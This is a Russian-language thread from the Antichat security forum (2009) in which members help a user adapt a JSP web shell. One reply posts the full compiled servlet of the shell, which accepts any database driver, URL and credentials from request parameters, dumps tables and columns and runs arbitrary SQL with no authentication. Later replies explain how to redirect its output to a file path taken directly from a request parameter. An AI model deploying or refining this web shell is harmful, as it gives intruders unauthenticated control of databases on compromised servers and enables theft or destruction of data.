ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

web shell с SQL на JSP (java)
  #1  
Старый 14.04.2009, 22:04
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию web shell с SQL на JSP (java)

Предыдущий вопрос неактуален, поэтому напишу новый в этой теме:

Код:
class DBM{
    private JspWriter out;
    private Connection con;
    private Statement stmt;
    private ResultSet rs;
    public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
        Class.forName(driverName);
        this.out=out;
        con=DriverManager.getConnection(url,userName,passWord);
    }
В этом классе есьт функция, которая пишет вывод так:
out.print("</tr>");

Сейчас он (класс) вызывается так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",out);

Поэтому вывод пишется на экран.
Что нужно изменить, чтобы вывод писался в какой-нибудь файл, который бы я указал?

Видел такую конструкцию:
java.io.FileWriter fw = new java.io.FileWriter(request.getParameter("file"));
java.io.PrintWriter pw = new java.io.PrintWriter(fw);
pw.println("<foo>Hello world!</foo>");

Но как сказать писать в файл функции того класса? она пишет просто в out на экран.

Последний раз редактировалось budden; 21.04.2009 в 20:13..
 
Ответить с цитированием

  #2  
Старый 14.04.2009, 22:30
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

ошибки ж написало
 
Ответить с цитированием

  #3  
Старый 15.04.2009, 02:25
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

PHP код:
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import org.apache.jasper.runtime.*;
import java.util.*;
import java.io.*;
import java.sql.*;

public class 
testo_jsp extends HttpJspBase {


//connection to the database
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
 
DBM dbm=new DBM(driver,url,userName,passWord,out);
 if(
sqlAction.equals("LDB")){
  
dbm.lookInfo();
 }else{
  
dbm.executeSQL(sqlCmd);
 }
 
dbm.closeAll();
}
//database manager class
class DBM{
    private 
JspWriter out;
    private 
Connection con;
    private 
Statement stmt;
    private 
ResultSet rs;
    public 
DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
        Class.
forName(driverName);
        
this.out=out;
        
con=DriverManager.getConnection(url,userName,passWord);
    }
    public 
void lookInfo()throws Exception{
     
DatabaseMetaData dbmd=con.getMetaData();
     
String tableType=null;
     
out.print("<strong>DataBaseInfo</strong><table>");
     
out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
     
out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
     
out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
     
out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
     
out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
     
out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
     
out.print("</table>");
     
out.print("<strong>ProcedureInfo</strong><table>");
     try{
      
getProcedureDetail(dbmd.getProcedures(null,null,null));
     }catch(
Exception proE){}
    
     
//show  all the tables
     
try{
      
rs=dbmd.getTables(null,null,null,null);
     }catch(
Exception tabE){}
     
out.print("<strong>DataBase Tables Info</strong><br>");
     while(
rs.next()){
      
tableType=rs.getString(4);
      
out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
      if(
tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
       try{
        
getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
       }catch(
Exception columnE){}
      }
     }
     
this.closeAll();
    }
    
//show the column information
    
private void getTableDetail(ResultSet tableRs)throws Exception{
        
out.print("<table border=1><tr><td>COLUMN_NAME</td><td>DATA_TYPE</td><td>TYPE_NAME</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
        while(
tableRs.next()){
            
out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
        }
        
out.print("</table>");
        
tableRs.close();
    }
    
//show all the procedures
    
private void getProcedureDetail(ResultSet procRs)throws Exception{
     
out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
     while(
procRs.next()){
      
out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
     }
     
out.print("</table>");
     
procRs.close();
    }
    
//run the sql command
    
public void executeSQL(String sqlCmd)throws Exception{
     
stmt=con.createStatement();
     if(
sqlCmd.trim().toLowerCase().startsWith("select")){
      
rs=stmt.executeQuery(sqlCmd);
      
ResultSetMetaData rsmd=rs.getMetaData();
      
int ColumnCount=rsmd.getColumnCount();
      
out.print("<table border=1><tr>");
      for(
int i=1;i<=ColumnCount;i++){
       
out.print("<td>"+rsmd.getColumnName(i)+"</td>");
      }
      
out.print("</tr>");
      while(
rs.next()){
       
out.print("</tr>");
          for(
int i=1;i<=ColumnCount;i++){
           
out.print("<td>"+rs.getString(i)+"</td>");
          }
          
out.print("</tr>");
      }
     }else{
      
stmt.executeUpdate(sqlCmd);
      
out.print("execute success");
     }
    
    
    }
    
//close all the resource
    
public void closeAll()throws SQLException{
        try{
            if(
rs!=null)rs.close();
        }catch(
Exception e){
        }
        try{
            if(
stmt!=null)stmt.close();
        }catch(
Exception e){
        }
        try{
         if(
con!=null)con.close();
        }catch(
Exception e){
        }
    }
}


  private static 
java.util.Vector _jspx_includes;

  public 
java.util.List getIncludes() {
    return 
_jspx_includes;
  }

  public 
void _jspService(HttpServletRequest requestHttpServletResponse response)
        
throws java.io.IOExceptionServletException {

    
JspFactory _jspxFactory null;
    
javax.servlet.jsp.PageContext pageContext null;
    
HttpSession session null;
    
ServletContext application null;
    
ServletConfig config null;
    
JspWriter out null;
    
Object page this;
    
JspWriter _jspx_out null;


    try {
      
_jspxFactory JspFactory.getDefaultFactory();
      
response.setContentType("text/html;charset=ISO-8859-1");
      
pageContext _jspxFactory.getPageContext(thisrequestresponse,
                  
nulltrue8192true);
      
application pageContext.getServletContext();
      
config pageContext.getServletConfig();
      
session pageContext.getSession();
      
out pageContext.getOut();
      
_jspx_out out;

      
out.write("\r\n");
      
out.write("\r\n");
      
out.write("<HTML>");
      
out.write("<BODY>\r\n\t\r\n");
      
out.write("<script type=\"text/javascript\">\r\n\r\n    function setDataBase(f){\r\n        driverName=new Array();\r\n        driverName[0]=\"com.sybase.jdbc2.jdbc.SybDriver\";\r\n        driverName[1]=\"com.microsoft.jdbc.sqlserver.SQLServerDriver\";\r\n        driverName[2]=\"com.mysql.jdbc.Driver\";\r\n        driverName[3]=\"oracle.jdbc.driver.OracleDriver\";\r\n        driverName[4]=\"com.ibm.db2.jdbc.app.DB2Driver\";\r\n        driverName[5]=\"org.postgresql.Driver\";\r\n        conUrl=new Array();\r\n        conUrl[0]=\"jdbc:jtds:sybase://host:port/database\";\r\n        conUrl[1]=\"jdbc:microsoft:sqlserver://host:port;DatabaseName=\";\r\n        conUrl[2]=\"jdbc:mysql://host:port/database\";\r\n        conUrl[3]=\"jdbc:oracle:thin:@host:port:database\";\r\n        conUrl[4]=\"jdbc:db2://host:port/database\";\r\n        conUrl[5]=\"jdbc:postgresql://host:port/database\";\r\n       \r\n        f.driver.value=driverName[f.DB.selectedIndex];\r\n        f.conUrl.value=conUrl[f.DB.selectedIndex];\r\n    }\r\n");
      
out.write("</script>\r\n\r\n");
      
out.write("<tr>\r\n\t");
      
out.write("<FORM METHOD=\"POST\" NAME=\"myforms\" ACTION=\"\">\r\n\t");
      
out.write("<select name=DB onChange='setDataBase(this.form);'> ");
      
out.write("<option>Sybase");
      
out.write("</option>");
      
out.write("<option>Mssql");
      
out.write("</option>");
      
out.write("<option>Mysql");
      
out.write("</option>");
      
out.write("<option>Oracle");
      
out.write("</option>");
      
out.write("<option>DB2");
      
out.write("</option>");
      
out.write("<option>PostgreSQL");
      
out.write("</option>");
      
out.write("</select>");
      
out.write("</td>\r\n\t");
      
out.write("<td>Driver:");
      
out.write("<input name=driver type=text>URL:");
      
out.write("<input name=conUrl type=text>user:");
      
out.write("<input name=user type=text size=3>pass:");
      
out.write("<input name=password type=text size=3>");
      
out.write("</td>\r\n\t");
      
out.write("<td>SqlCmd:");
      
out.write("<input type=text name=sqlcmd title='select * from admin'>\r\n\t");
      
out.write("<input name=run type=submit value=Exec>");
      
out.write("</td>\r\n\t");
      
out.write("<td>");
      
out.write("<input name=run type=submit value=LDB>");
      
out.write("</td>\r\n\t");
      
out.write("</form>\r\n");
      
out.write("</tr>\r\n");

if (
request.getParameter("run") != null) {
    
//ConnectionDBM(out,encodeChange(request.getParamete  r("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));
    
ConnectionDBM(out,request.getParameter("driver"),request.getParameter("conUrl"),request.getParameter("user"),request.getParameter("password"),request.getParameter("run"),request.getParameter("sqlcmd"));
        
out.close();

      
out.write("\r\n");
      
out.write("</BODY>");
      
out.write("</HTML>");
   
  }
}

catch (
Throwable t) {
      
out _jspx_out;
      if (
out != null && out.getBufferSize() != 0)
        
out.clearBuffer();
      if (
pageContext != nullpageContext.handlePageException(t);
    } finally {
      if (
_jspxFactory != null_jspxFactory.releasePageContext(pageContext);
    }
}


не понял тебя, как это генерит.

у меня норм скомпилилось все )

Последний раз редактировалось ShAnKaR; 15.04.2009 в 02:42..
 
Ответить с цитированием

  #4  
Старый 21.04.2009, 20:25
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

обновил первый пост, кто знает, подскажите плиз.
 
Ответить с цитированием

  #5  
Старый 22.04.2009, 01:43
Forcer
Постоянный
Регистрация: 12.04.2007
Сообщений: 413
Провел на форуме:
3578578

Репутация: 275
Отправить сообщение для Forcer с помощью ICQ
По умолчанию

Цитата:
Сообщение от budden  
Но как сказать писать в файл функции того класса?
Что означает эта фраза?


Чтобы писать в файл тебе нужно заменить
Код:
out = pageContext.getOut();
на то что ты написал:
Код:
java.io.FileWriter fw = new java.io.FileWriter(request.getParameter("file"));
java.io.PrintWriter pw = new java.io.PrintWriter(fw);
pw.println("<foo>Hello world!</foo>");
 
Ответить с цитированием

  #6  
Старый 22.04.2009, 14:56
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

Цитата:
Сообщение от Forcer  
Что означает эта фраза?


Чтобы писать в файл тебе нужно заменить
Код:
out = pageContext.getOut();
У меня такого вообще нету.

Класс вызывается вот так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",out);
Обрати внимание, что ему на вход передается out.
Если передавать pw - то exception.

Сама эта функция:
Код:
    public void executeSQL(String sqlCmd)throws Exception{
     stmt=con.createStatement();
      rs=stmt.executeQuery(sqlCmd);
      ResultSetMetaData rsmd=rs.getMetaData();
      int ColumnCount=rsmd.getColumnCount();
      out.print("<table border=1><tr>");
      for(int i=1;i<=ColumnCount;i++){
       pw.print("<td>"+rsmd.getColumnName(i)+"</td>");
      }
      out.print("</tr>");
      while(rs.next()){
       out.print("</tr>");
          for(int i=1;i<=ColumnCount;i++){
           out.print("<td>"+rs.getString(i)+"</td>");
          }
          out.print("</tr>");
      }
    }
Т.е. она весь вывод делает командами:
out.print("blahblahblah");

А поскольку out на вход класса, в котором эта функция) дается как просто out (а это поток на экран), то и вывод идет на экран.
Вот я и не пойму, что мне поменять, чтобы out.print("blahblahblah"); этой функцией - выводился в файл.
По идее мне надо вызвывать класс вот так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",pw);
но тогда идет exception.
 
Ответить с цитированием

  #7  
Старый 22.04.2009, 18:48
Forcer
Постоянный
Регистрация: 12.04.2007
Сообщений: 413
Провел на форуме:
3578578

Репутация: 275
Отправить сообщение для Forcer с помощью ICQ
По умолчанию

Переделай конструктор класса. Поменяй у последнего параметра( out ) класс на PrintWriter. В самом классе у поля out класс тоже поменяй на PrintWriter. И передавай в конструкторе объект PrintWiter'a.
 
Ответить с цитированием

  #8  
Старый 22.04.2009, 18:55
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

Цитата:
Сообщение от Forcer  
Переделай конструктор класса. Поменяй у последнего параметра( out ) класс на PrintWriter. В самом классе у поля out класс тоже поменяй на PrintWriter. И передавай в конструкторе объект PrintWiter'a.
Спасибо!
Forcer - большущий рахмет тебе! Помогло.
Спасибо!!!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41
Словарь Java-терминов foreva Чужие Статьи 0 08.02.2005 16:28



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ